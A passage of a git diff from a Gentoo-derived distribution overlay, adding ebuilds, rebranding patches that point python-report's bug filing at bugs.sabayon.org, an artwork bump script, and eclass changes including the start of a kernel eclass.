+ if not bzfiler or not bzfiler.supportsFiling() or not bzfiler.bugUrl:
+diff -Nurp python-report-0.10.orig/python/report/templates/RHEL-template/__init__.py python-report-0.10/python/report/templates/RHEL-template/__init__.py
+--- python-report-0.10.orig/python/report/templates/RHEL-template/__init__.py 2010-04-02 18:46:19.862030189 +0200
++++ python-report-0.10/python/report/templates/RHEL-template/__init__.py 2010-04-02 18:56:33.214921519 +0200
+@@ -55,10 +55,10 @@ def displayURL(optionsDict):
+ def bugURL(optionsDict):
+ if optionsDict.has_key("bugURL"):
+ return optionsDict["bugURL"]
+- host = "bugzilla.redhat.com"
++ host = "bugs.sabayon.org"
+ if optionsDict.has_key("bugzilla_host"):
+ host = optionsDict["bugzilla_host"]
+- return "https://" + host + "/xmlrpc.cgi"
++ return "http://" + host + "/xmlrpc.cgi"
+
+ def report(signature, io, optionsDict):
+ if not io:
+@@ -131,8 +131,8 @@ def sendToBugzilla( component, hashmarke
+
+ try:
+ if not bzfiler:
+- bzfiler = filer.BugzillaFiler("https://bugzilla.redhat.com/xmlrpc.cgi",
+- "http://bugzilla.redhat.com",
++ bzfiler = filer.BugzillaFiler("http://bugs.sabayon.org/xmlrpc.cgi",
++ "http://bugs.sabayon.org",
+ filer.getVersion(), filer.getProduct())
+
+ if not bzfiler or not bzfiler.supportsFiling() or not bzfiler.bugUrl:
diff --git a/dev-python/python-report/files/python-report-0.23-disable-Werror.patch b/dev-python/python-report/files/python-report-0.23-disable-Werror.patch
new file mode 100644
index 00000000..e4bdc909
--- /dev/null
+++ b/dev-python/python-report/files/python-report-0.23-disable-Werror.patch
@@ -0,0 +1,9 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -1,5 +1,5 @@
+ AC_INIT([report], [0.23])
+-AM_INIT_AUTOMAKE([-Wall -Werror foreign])
++AM_INIT_AUTOMAKE([-Wall foreign])
+ AC_PROG_CC
+ AC_PROG_CXX
+ AC_PROG_LIBTOOL
diff --git a/dev-python/python-report/files/python-report-0.23-disable-rpm.patch b/dev-python/python-report/files/python-report-0.23-disable-rpm.patch
new file mode 100644
index 00000000..4a110930
--- /dev/null
+++ b/dev-python/python-report/files/python-report-0.23-disable-rpm.patch
@@ -0,0 +1,19 @@
+--- a/python/report/plugins/bugzilla/__init__.py
++++ b/python/report/plugins/bugzilla/__init__.py
+@@ -115,8 +115,6 @@ import filer
+ def sendToBugzilla(component, signature, io, bzfiler,
+ optionsDict, fileName, fileDescription):
+
+- import rpmUtils.arch
+-
+ class BugzillaCommunicationException (Exception):
+ pass
+
+@@ -298,7 +296,6 @@ def sendToBugzilla(component, signature,
+ product=bzfiler.getproduct(),
+ component=component,
+ version=bzfiler.getversion(),
+- platform=rpmUtils.arch.getBaseArch(),
+ bug_severity="medium",
+ priority="medium",
+ op_sys="Linux",
diff --git a/dev-python/python-report/files/python-report-0.23-sabayon-config.patch b/dev-python/python-report/files/python-report-0.23-sabayon-config.patch
new file mode 100644
index 00000000..32879703
--- /dev/null
+++ b/dev-python/python-report/files/python-report-0.23-sabayon-config.patch
@@ -0,0 +1,55 @@
+--- a/etc/Makefile.am
++++ b/etc/Makefile.am
+@@ -1,11 +1,9 @@
+ nobase_dist_sysconf_DATA = \
+-report.d/bugzilla.redhat.com.conf \
+-report.d/RHEL-bugzilla.redhat.com.conf \
++report.d/bugs.sabayon.org.conf \
+ report.conf \
+ report.d/ftp.conf \
+ report.d/scp.conf \
+ report.d/localsave.conf \
+-report.d/strata-test.conf \
+-report.d/RHEL.conf
++report.d/strata-test.conf
+
+ dist_man_MANS = report.conf.5
+--- a/etc/report.d/bugs.sabayon.org.conf
++++ b/etc/report.d/bugs.sabayon.org.conf
+@@ -0,0 +1,7 @@
++[bugs.sabayon.org]
++# plugin
++plugin=bugzilla
++
++# rhbz url
++bugzilla_host=bugs.sabayon.org
++
+--- a/python/report/plugins/bugzilla/__init__.py
++++ b/python/report/plugins/bugzilla/__init__.py
+@@ -1,5 +1,5 @@
+ """
+- A Report plugin to send a report to bugzilla.redhat.com.
++ A Report plugin to send a report to bugs.sabayon.org.
+ Copyright (C) 2009 Red Hat, Inc
+
+ Author(s): Gavin Romig-Koch <gavin@redhat.com>
+@@ -54,7 +54,7 @@ def displayURL(optionsDict):
+ def bugURL(optionsDict):
+ if 'bugURL' in optionsDict:
+ return optionsDict["bugURL"]
+- host = "bugzilla.redhat.com"
++ host = "bugs.sabayon.org"
+ if 'bugzilla_host' in optionsDict:
+ host = optionsDict["bugzilla_host"]
+ return "https://" + host + "/xmlrpc.cgi"
+@@ -149,8 +149,8 @@ def sendToBugzilla(component, signature,
+ else:
+ version = filer.getVersion()
+
+- bzfiler = filer.BugzillaFiler("https://bugzilla.redhat.com/xmlrpc.cgi",
+- "http://bugzilla.redhat.com",
++ bzfiler = filer.BugzillaFiler("https://bugs.sabayon.org/xmlrpc.cgi",
++ "http://bugs.sabayon.org",
+ version, product)
+
+ if not bzfiler or not bzfiler.supportsFiling() or not bzfiler.bugUrl:
diff --git a/dev-python/python-report/python-report-0.10-r1.ebuild b/dev-python/python-report/python-report-0.10-r1.ebuild
new file mode 100644
index 00000000..52260467
--- /dev/null
+++ b/dev-python/python-report/python-report-0.10-r1.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+EGIT_REPO_URI="git://git.fedorahosted.org/report.git"
+EGIT_COMMIT="${PV}"
+inherit base git-2 autotools eutils
+
+DESCRIPTION="Provides a single configurable problem/bug/issue reporting API."
+HOMEPAGE="http://git.fedoraproject.org/git/?p=report.git;a=summary"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="app-arch/rpm
+ net-misc/curl"
+RDEPEND="dev-libs/openssl
+ net-misc/curl
+ dev-libs/libxml2"
+
+src_prepare() {
+
+ epatch "${FILESDIR}"/${P}-sabayon-defaults.patch
+ epatch "${FILESDIR}"/${P}-disable-rpm.patch
+ epatch "${FILESDIR}"/${P}-fix-version-detection.patch
+
+ eautoreconf || die "cannot run eautoreconf"
+ autoreconf -i || die "wtf"
+ eautomake || die "cannot run eautomake"
+}
+
+src_configure() {
+ econf --prefix=/usr || die "configure failed"
+}
+
+src_compile() {
+ # workaround crappy build system
+ mkdir -p "${S}/python/report/templates/RHEL-template/bugzillaCopy"
+ touch "${S}/python/report/templates/RHEL-template/bugzillaCopy/VERSION"
+
+ emake || die "make failed"
+}
+
+src_install() {
+ base_src_install
+
+ # remove Red Hat stuff
+ rm "${D}"/etc/report.d/RHEL.ini
+ rm "${D}"/etc/report.d/dropbox.redhat.com.ini
+ rm "${D}"/etc/report.d/bugzilla.redhat.com.ini
+
+ # XXX: {not yet implemented} install Sabayon configuration
+ # cp "${FILESDIR}"/bugs.sabayon.org.ini "${D}/etc/report.d/"
+ find "${D}"/ -name "bugzilla-template" -type d | xargs rm -rf
+ find "${D}"/ -name "RHEL-template" -type d | xargs rm -rf
+ find "${D}"/ -name "strata-template" -type d | xargs rm -rf
+
+}
diff --git a/dev-python/python-report/python-report-0.23.ebuild b/dev-python/python-report/python-report-0.23.ebuild
new file mode 100644
index 00000000..537701dd
--- /dev/null
+++ b/dev-python/python-report/python-report-0.23.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+EGIT_REPO_URI="git://git.fedorahosted.org/report.git"
+EGIT_COMMIT="${PV}"
+inherit git-2 autotools eutils
+
+DESCRIPTION="Provides a single configurable problem/bug/issue reporting API."
+HOMEPAGE="http://git.fedoraproject.org/git/?p=report.git;a=summary"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="app-arch/rpm
+ net-misc/curl"
+RDEPEND="dev-libs/openssl
+ net-misc/curl
+ dev-libs/libxml2
+ >=app-misc/rogentos-version-1"
+
+src_prepare() {
+
+ epatch "${FILESDIR}"/${P}-sabayon-config.patch
+ epatch "${FILESDIR}"/${P}-disable-rpm.patch
+ epatch "${FILESDIR}"/${P}-disable-Werror.patch
+
+ eautoreconf || die "cannot run eautoreconf"
+}
+
+src_configure() {
+ econf --prefix=/usr || die "configure failed"
+
+ # Create some kind of version file to suit the build system
+ mkdir -p "${S}"/python/report/plugins/RHEL-bugzilla/bugzillaCopy || die
+ touch "${S}"/python/report/plugins/RHEL-bugzilla/bugzillaCopy/VERSION || die
+}
+
+src_install() {
+ default
+ # remove Red Hat stuff
+ rm -rf "${D}"/python/report/plugins/{strata,RHEL-bugzilla} || die
+}
diff --git a/dev-python/pytox/metadata.xml b/dev-python/pytox/metadata.xml
new file mode 100644
index 00000000..cc3fe249
--- /dev/null
+++ b/dev-python/pytox/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-wanted@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/dev-python/pytox/pytox-9999.ebuild b/dev-python/pytox/pytox-9999.ebuild
new file mode 100644
index 00000000..448efcc1
--- /dev/null
+++ b/dev-python/pytox/pytox-9999.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+PYTHON_COMPAT=( python{2_7,3_3} )
+
+inherit distutils-r1 eutils
+
+if [[ ${PV} == "9999" ]] ; then
+ inherit git-2
+ EGIT_REPO_URI="https://github.com/aitjcize/PyTox.git"
+else
+ SRC_URI="https://github.com/aitjcize/PyTox/archive/${PV}.tar.gz"
+ KEYWORDS="~amd64 ~x86"
+fi
+
+DESCRIPTION="Python bindings for the Tox library"
+HOMEPAGE="https://github.com/aitjcize/PyTox"
+LICENSE="GPL-2"
+SLOT="0"
+
+RDEPEND="net-libs/tox"
+DEPEND="${RDEPEND}"
+
+src_prepare() {
+ epatch_user
+} \ No newline at end of file
diff --git a/dev-util/molecule/Manifest b/dev-util/molecule/Manifest
new file mode 100644
index 00000000..7cfa7ddb
--- /dev/null
+++ b/dev-util/molecule/Manifest
@@ -0,0 +1 @@
+DIST molecule-0.9.24.7.tar.bz2 273794 SHA256 828132f68eec01023420aee2cd940f3ed657d358639f6dfc11f37c16b4c5ee7d SHA512 c82360e43ed1d0e5d7352ea8ca0cdceec6c23ad488d8def2bfa5fae87b1915cacf687c74837a13eb607adff7d767a780bbeb073d13f84218d982843b15525e7c WHIRLPOOL dc59a76fa31f90ea7f9402f1ea47770d05e348953c2d2427fd91c954ebba32c7c9e0f355ca2b52af8716f098dd30aabf780a8b6ec7daa17f742207bf233933f1
diff --git a/dev-util/molecule/metadata.xml b/dev-util/molecule/metadata.xml
new file mode 100644
index 00000000..1dd663e4
--- /dev/null
+++ b/dev-util/molecule/metadata.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>lxnay@gentoo.org</email>
+ <name>Fabio Erculiani</name>
+ </maintainer>
+ <longdescription lang="en">
+ Metro is a build tool that can build, rebuild or extend Sabayon Linux or
+ Gentoo Linux OS releases OpenVZ templates and stage4 tarballs.
+ It doesn't contain any specific package manager bit and can work with
+ your favourite one. The philosophy of Molecule is simple: ease of use and
+ modularity.
+ Just like Catalyst, Molecule uses its own .spec file format and learning
+ how to write one is just about reading examples provided inside
+ /usr/share/molecule/examples.
+ You can tweak your ISO image or create one off your chroot (stage4) in no
+ time. Molecule uses a plugin-based system to implement support for new
+ execution patterns (like ISO to ISO, ISO to Tar, Chroot to ISO, etc).
+ Molecule is born inside Sabayon and is used in its release cycle for both
+ daily(live) and versioned ISO images.
+ Molecule developers are looking for help for writing user docs and HOWTOs.
+ </longdescription>
+</pkgmetadata>
diff --git a/dev-util/molecule/molecule-0.9.24.7.ebuild b/dev-util/molecule/molecule-0.9.24.7.ebuild
new file mode 100644
index 00000000..20cea1e1
--- /dev/null
+++ b/dev-util/molecule/molecule-0.9.24.7.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/dev-util/molecule/molecule-0.9.24.6.ebuild,v 1.1 2012/09/11 14:05:57 lxnay Exp $
+
+EAPI="3"
+PYTHON_DEPEND="*"
+
+inherit python
+
+DESCRIPTION="Release metatool used for creating Sabayon (and Gentoo) releases"
+HOMEPAGE="http://www.sabayon.org"
+SRC_URI="http://bpr.bluepink.ro/~rogentos/distro/${CATEGORY}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-util/intltool
+ sys-devel/gettext"
+RDEPEND="net-misc/rsync
+ sys-fs/squashfs-tools
+ sys-process/lsof
+ virtual/cdrtools"
+
+src_install() {
+ emake DESTDIR="${D}" LIBDIR="/usr/lib" \
+ PREFIX="/usr" SYSCONFDIR="/etc" install \
+ || die "emake install failed"
+}
+
+pkg_postinst() {
+ python_mod_optimize "/usr/lib/molecule"
+}
+
+pkg_postrm() {
+ python_mod_cleanup "/usr/lib/molecule"
+}
diff --git a/do-artwork-bump.sh b/do-artwork-bump.sh
new file mode 100755
index 00000000..a9c0c745
--- /dev/null
+++ b/do-artwork-bump.sh
@@ -0,0 +1,25 @@
+#!/bin/bash
+# made by Sabayon GNU/Linux Team
+if [ -z "$2" ]; then
+ echo do-artwork-bump.sh OLDVER NEWVER
+ exit
+fi
+
+OLD=$1
+NEW=$2
+PACKAGES="x11-themes/rogentos-artwork-core x11-themes/rogentos-artwork-extra \
+ x11-themes/rogentos-artwork-kde x11-themes/rogentos-artwork-gnome \
+ x11-themes/rogentos-artwork-loo x11-themes/rogentos-artwork-lxde\
+ x11-themes/rogentos-artwork-grub x11-themes/rogentos-artwork-isolinux"
+
+for package in ${PACKAGES}; do
+ name=$(echo ${package} | cut -d/ -f2)
+ if [ -a ${package}/${name}-${NEW}.ebuild ]; then
+ echo "${NEW} ebuild found, not overwriting"
+ else
+ cp ${package}/${name}-${OLD}.ebuild ${package}/${name}-${NEW}.ebuild
+ fi
+ ebuild ${package}/${name}-${NEW}.ebuild manifest --force clean install clean
+ git add ${package}/${name}-${NEW}.ebuild
+ git add ${package}/Manifest
+done
diff --git a/eclass/avahi.eclass b/eclass/avahi.eclass
index 47164ca3..c9a9876d 100644
--- a/eclass/avahi.eclass
+++ b/eclass/avahi.eclass
@@ -48,7 +48,7 @@ fi
MY_P=${P/-${AVAHI_MODULE}}
-inherit autotools eutils flag-o-matic systemd
+inherit autotools eutils flag-o-matic
DESCRIPTION="avahi ${AVAHI_MODULE} module"
HOMEPAGE="http://avahi.org/"
@@ -57,7 +57,7 @@ S="${WORKDIR}/${MY_P}"
LICENSE="LGPL-2.1"
SLOT="0"
-KEYWORDS="~amd64 ~arm ~x86"
+KEYWORDS="~amd64 ~x86"
AVAHI_COMMON_DEPEND=">=dev-util/intltool-0.40.5
>=dev-util/pkgconfig-0.9.0"
@@ -70,12 +70,6 @@ avahi_src_prepare() {
-e "s:\\.\\./\\.\\./\\.\\./doc/avahi-docs/html/:../../../doc/${PF}/html/:" \
doxygen_to_devhelp.xsl || die
- # Drop DEPRECATED flags, bug #384743
- sed -i -e 's:-D[A-Z_]*DISABLE_DEPRECATED=1::g' avahi-ui/Makefile.am || die
-
- # Prevent .pyc files in DESTDIR
- >py-compile
-
for i in ${!AVAHI_PATCHES[@]}; do
epatch "${AVAHI_PATCHES[i]}"
done
@@ -96,14 +90,13 @@ avahi_src_configure() {
--enable-glib
--enable-gobject
--disable-qt3
- $(systemd_with_unitdir)
- ${*}"
+ $@"
econf ${myconf}
}
avahi_src_install-cleanup() {
# Remove .la files
- find "${ED}" -name '*.la' -exec rm -f {} + || die
+ find "${D}" -name '*.la' -exec rm -f {} + || die
}
EXPORT_FUNCTIONS src_prepare src_configure
diff --git a/eclass/kde-l10n.eclass b/eclass/kde-l10n.eclass
index 2974c890..100db755 100644
--- a/eclass/kde-l10n.eclass
+++ b/eclass/kde-l10n.eclass
@@ -1,8 +1,8 @@
-# Copyright 2004-2013 Sabayon
+# Copyright 2004-2012 Sabayon
# Distributed under the terms of the GNU General Public License v2
# $
-inherit kde4-base
+inherit base kde4-base
MY_LANG="${PN/kde-l10n-/}"
@@ -14,14 +14,11 @@ DESCRIPTION="KDE4 ${L10N_NAME} localization package"
HOMEPAGE="http://www.kde.org/"
LICENSE="GPL-2"
-KEYWORDS="~amd64 ~arm ~x86"
+KEYWORDS="~amd64 ~x86"
DEPEND=">=sys-devel/gettext-0.15"
RDEPEND=""
IUSE="+handbook"
-URI_BASE="${SRC_URI/-${MY_LANG}-${PV}.tar.xz/}"
-SRC_URI="${SRC_URI} ${URI_BASE}/${PN}-${PV}.tar.xz"
-
kde-l10n_src_prepare() {
# override kde4-base_src_prepare which
# fails at enable_selected_doc_linguas
diff --git a/eclass/kogaion-artwork.eclass b/eclass/kogaion-artwork.eclass
index e537c9e8..f20a2fd0 100644
--- a/eclass/kogaion-artwork.eclass
+++ b/eclass/kogaion-artwork.eclass
@@ -1,8 +1,5 @@
# Copyright 2004-2009 Sabayon Project
-# Copyright 2012 Rogentos
# Distributed under the terms of the GNU General Public License v2
-# Original Authors: Sabayon Team
-# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
# $
inherit eutils
@@ -16,15 +13,18 @@ KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*}"
# @ECLASS-VARIABLE: GFX_SPLASH_NAME
# @DESCRIPTION:
# Default splash theme name to use
-GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-kogaion}"
+GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-rogentos}"
+
+# @ECLASS-VARIABLE: PLYMOUTH_THEME
+# @DESCRIPTION:
+# Default plymouth theme name to use
+PLYMOUTH_THEME="${PLYMOUTH_THEME:-rogentos}"
# @FUNCTION: update_kernel_initramfs_splash
# @USAGE: update_kernel_initramfs_splash [splash_theme] [splash_file]
# @RETURN: 1, if something went wrong
#
# @MAINTAINER:
-# Brindusa Stefan Cristian
-# @AUTHOR:
# Fabio Erculiani
update_kernel_initramfs_splash() {
@@ -39,16 +39,14 @@ update_kernel_initramfs_splash() {
}
-# @FUNCTION: update_sabayon_kernel_initramfs_splash
-# @USAGE: update_sabayon_kernel_initramfs_splash
+# @FUNCTION: update_kogaion_kernel_initramfs_splash
+# @USAGE: update_kogaion_kernel_initramfs_splash
#
-# @AUTHOR:
-# Fabio Erculiani
# @MAINTAINER:
-# Brindusa Stefan Cristian
-update_sabayon_kernel_initramfs_splash() {
+# Stefan Cristian B.
+update_kogaion_kernel_initramfs_splash() {
local splash_name="${GFX_SPLASH_NAME}"
- local override_splash_file="${ROOT}etc/splash_name"
+ local override_splash_file="${ROOT}etc/oem/splash_name"
if [ -f "${override_splash_file}" ]; then
found_splash_name=$(cat "${override_splash_file}" | cut -d" " -f 1)
if [ -d "/etc/splash/${found_splash_name}" ]; then
diff --git a/eclass/kogaion-kernel.eclass b/eclass/kogaion-kernel.eclass
new file mode 100644
index 00000000..cd296f0c
--- /dev/null
+++ b/eclass/kogaion-kernel.eclass
@@ -0,0 +1,966 @@
+# Copyright 2004-2014 RogentOS Team
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_NAME
+# @DESCRIPTION:
+# The kernel name used by the ebuild, it should be the ending ${PN} part
+# for example, of linux-kogaion it is "${PN/${PN/-*}-}" (kogaion)
+K_ROGKERNEL_NAME="${K_ROGKERNEL_NAME:-${PN/${PN/-*}-}}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_SELF_TARBALL_NAME
+# @DESCRIPTION:
+# If the main kernel sources tarball is generated in-house and available
+# on the "kogaion" mirror, set this variable to the extension name (see example
+# below). This will disable ALL the extra/local patches (since they have to
+# be applied inside the tarball). Moreover, K_ROGKERNEL_NAME,
+# K_KERNEL_PATCH_VER will be ignored.
+# Example:
+# K_ROGKERNEL_SELF_TARBALL_NAME="kogaion"
+# This would generate:
+# SRC_URI="mirror://kogaion/sys-kernel/linux-${PV}+kogaion.tar.${K_TARBALL_EXT}"
+K_ROGKERNEL_SELF_TARBALL_NAME="${K_ROGKERNEL_SELF_TARBALL_NAME:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_PATCH_UPSTREAM_TARBALL
+# @DESCRIPTION:
+# If set to 1, the ebuild will fetch the upstream kernel tarball and
+# apply the RogentOS patch against it. This strategy avoids the need of
+# creating complete kernel source tarballs. The default value is 0.
+K_ROGKERNEL_PATCH_UPSTREAM_TARBALL="${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL:-0}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_FORCE_SUBLEVEL
+# @DESCRIPTION:
+# Force the rewrite of SUBLEVEL in kernel sources Makefile
+K_ROGKERNEL_FORCE_SUBLEVEL="${K_ROGKERNEL_FORCE_SUBLEVEL:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_RESET_EXTRAVERSION
+# @DESCRIPTION:
+# Force the rewrite of EXTRAVERSION in kernel sources Makefile (setting it to "")
+K_ROGKERNEL_RESET_EXTRAVERSION="${K_ROGKERNEL_RESET_EXTRAVERSION:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_LONGTERM
+# @DESCRIPTION:
+# Consider Kernel stable patchset as longterm (changing URL)
+K_ROGKERNEL_LONGTERM="${K_ROGKERNEL_LONGTERM:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_SOURCES_PKG
+# @DESCRIPTION:
+# The kernel sources package used to build this kernel binary
+K_KERNEL_SOURCES_PKG="${K_KERNEL_SOURCES_PKG:-${CATEGORY}/${PN/*-}-sources-${PVR}}"
+
+# @ECLASS-VARIABLE: K_KERNEL_PATCH_VER
+# @DESCRIPTION:
+# If set to "3" for example, it applies the upstream kernel
+# patch corresponding to patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.3.${K_TARBALL_EXT}
+# @TODO: deprecate and remove once 2.6.x kernels are retired
+K_KERNEL_PATCH_VER="${K_KERNEL_PATCH_VER:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_PATCH_HOTFIXES
+# @DESCRIPTION:
+# If there is the need to quickly apply patches to the kernel
+# without bumping the kernel patch tarball (for eg. in case
+# of just released security fixes), set this variable in your ebuild
+# pointing to space separated list of patch paths.
+K_KERNEL_PATCH_HOTFIXES="${K_KERNEL_PATCH_HOTFIXES:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_DISABLE_PR_EXTRAVERSION
+# @DESCRIPTION:
+# Set this to "1" if you want to tell kernel-2 eclass to
+# not use ${PR} in kernel EXTRAVERSION (K_NOUSEPR). Otherwise, set
+# this to "0" to not set K_NOUSEPR at all.
+K_KERNEL_DISABLE_PR_EXTRAVERSION="${K_KERNEL_DISABLE_PR_EXTRAVERSION:-1}"
+
+# @ECLASS-VARIABLE: K_KERNEL_SLOT_USEPVR
+# @DESCRIPTION:
+# Set this to "1" if you want to use ${PVR} in SLOT variable, instead of ${PV}
+# sys-kernel/linux-vserver (vserver-sources) require this. This won't work for
+# firmware pkgs.
+K_KERNEL_SLOT_USEPVR="${K_KERNEL_SLOT_USEPVR:-0}"
+
+# @ECLASS-VARIABLE: K_KERNEL_NEW_VERSIONING
+# @DESCRIPTION:
+# Set this to "1" if your kernel ebuild uses the new Linux kernel upstream
+# versioning and ${PV} contains the stable revision, like 3.7.1.
+# In the example above, this makes the SLOT variable contain only "3.7".
+# The sublevel version can be forced using K_ROGKERNEL_FORCE_SUBLEVEL
+K_KERNEL_NEW_VERSIONING="${K_KERNEL_NEW_VERSIONING:-0}"
+
+# @ECLASS-VARIABLE: K_KERNEL_IMAGE_NAME
+# @DESCRIPTION:
+# Set this to a custom kernel image make target if the default does not
+# fit your needs. This value if set, is passed to genkernel through the
+# --kernel-target= flag.
+K_KERNEL_IMAGE_NAME="${K_KERNEL_IMAGE_NAME:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_LTS
+# @DESCRIPTION:
+# Set this to 1 to mark the kernel as Long Term Stable. "virtual/linux-binary-lts"
+# shall be appended to ${PROVIDE}.
+K_KERNEL_LTS="${K_KERNEL_LTS:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_IMAGE_PATH
+# @DESCRIPTION:
+# Set this to a custom relative kernel image path to override the default
+# one. This value if set, is passed to genkernel through the
+# --kernel-binary= flag.
+K_KERNEL_IMAGE_PATH="${K_KERNEL_IMAGE_PATH:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_FIRMWARE
+# @DESCRIPTION:
+# Set this to "1" if your ebuild is a kernel firmware package
+K_FIRMWARE_PACKAGE="${K_FIRMWARE_PACKAGE:-}"
+
+# @ECLASS-VARIABLE: K_ONLY_SOURCES
+# @DESCRIPTION:
+# For every kernel binary package, there is a kernel source package associated
+# if your ebuild is one of them, set this to "1"
+K_ONLY_SOURCES="${K_ONLY_SOURCES:-}"
+
+# @ECLASS-VARIABLE: K_REQUIRED_LINUX_FIRMWARE_VER
+# @DESCRIPTION:
+# Minimum required version of sys-kernel/linux-formware package, if any
+K_REQUIRED_LINUX_FIRMWARE_VER="${K_REQUIRED_LINUX_FIRMWARE_VER:-}"
+
+# @ECLASS-VARIABLE: K_WORKAROUND_SOURCES_COLLISION
+# @DESCRIPTION:
+# For kernel binary packages, Workaround file collisions with kernel
+# sources already providing certain files (like Makefile). Used
+# by linux-openvz and linux-vserver
+K_WORKAROUND_SOURCES_COLLISION="${K_WORKAROUND_SOURCES_COLLISION:-}"
+
+# @ECLASS-VARIABLE: K_WORKAROUND_USE_REAL_EXTRAVERSION
+# @DESCRIPTION:
+# Some kernel sources are shipped with their own EXTRAVERSION and
+# we're kindly asked to not touch it, if this is your case, set
+# this variable and depmod will work correctly.
+K_WORKAROUND_USE_REAL_EXTRAVERSION="${K_WORKAROUND_USE_REAL_EXTRAVERSION:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_ZFS
+# @DESCRIPTION:
+# If set, this kernel features ZFS.
+K_ROGKERNEL_ZFS="${K_ROGKERNEL_ZFS:-}"
+
+# @ECLASS-VARIABLE: K_GENKERNEL_ARGS
+# @DESCRIPTION:
+# Provide extra genkernel arguments using K_GENKERNEL_ARGS
+K_GENKERNEL_ARGS="${K_GENKERNEL_ARGS:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ADDRESS
+# @DESCRIPTION:
+# [ARM ONLY] Provide the ramdisk load address to be used with mkimage
+K_MKIMAGE_RAMDISK_ADDRESS="${K_MKIMAGE_RAMDISK_ADDRESS:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ENTRYPOINT
+# @DESCRIPTION:
+# [ARM ONLY] Provide the ramdisk entry point address to be used with mkimage
+K_MKIMAGE_RAMDISK_ENTRYPOINT="${K_MKIMAGE_RAMDISK_ENTRYPOINT:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_WRAP_INITRAMFS
+# @DESCRIPTION:
+# [ARM ONLY] Execute mkimage against the generated initramfs Default is yes ("1").
+K_MKIMAGE_WRAP_INITRAMFS="${K_MKIMAGE_WRAP_INITRAMFS:-1}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_KERNEL_ADDRESS
+# @DESCRIPTION:
+# [ARM ONLY] Provide the kernel load address to be used with mkimage
+K_MKIMAGE_KERNEL_ADDRESS="${K_MKIMAGE_KERNEL_ADDRESS:-}"
+
+KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*${K_ROGKERNEL_NAME}}"
+
+# Disable deblobbing feature
+K_DEBLOB_AVAILABLE=0
+ETYPE="sources"
+K_TARBALL_EXT="${K_TARBALL_EXT:-xz}"
+
+inherit versionator
+if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+ CKV="$(get_version_component_range 1-2)"
+fi
+
+inherit eutils multilib kernel-2 kogaion-artwork mount-boot linux-info
+
+# from kernel-2 eclass
+detect_version
+detect_arch
+
+DESCRIPTION="Kogaion, Argent and ArgOS linux kernel functions and phases"
+
+
+K_LONGTERM_URL_STR=""
+if [ -n "${K_ROGKERNEL_LONGTERM}" ]; then
+ K_LONGTERM_URL_STR="/longterm/v${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+fi
+
+## kernel-2 eclass settings
+if [ "${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL}" = "1" ]; then
+ _patch_name="$(get_version_component_range 1-2)-${K_ROGKERNEL_SELF_TARBALL_NAME}-${PVR}.patch.xz"
+ SRC_URI="${KERNEL_URI}"
+ UNIPATCH_LIST="${UNIPATCH_LIST} ${DISTDIR}/${_patch_name}"
+ unset _patch_name
+elif [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
+ #SRC_URI="mirror://kogaion/${CATEGORY}/linux-${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}"
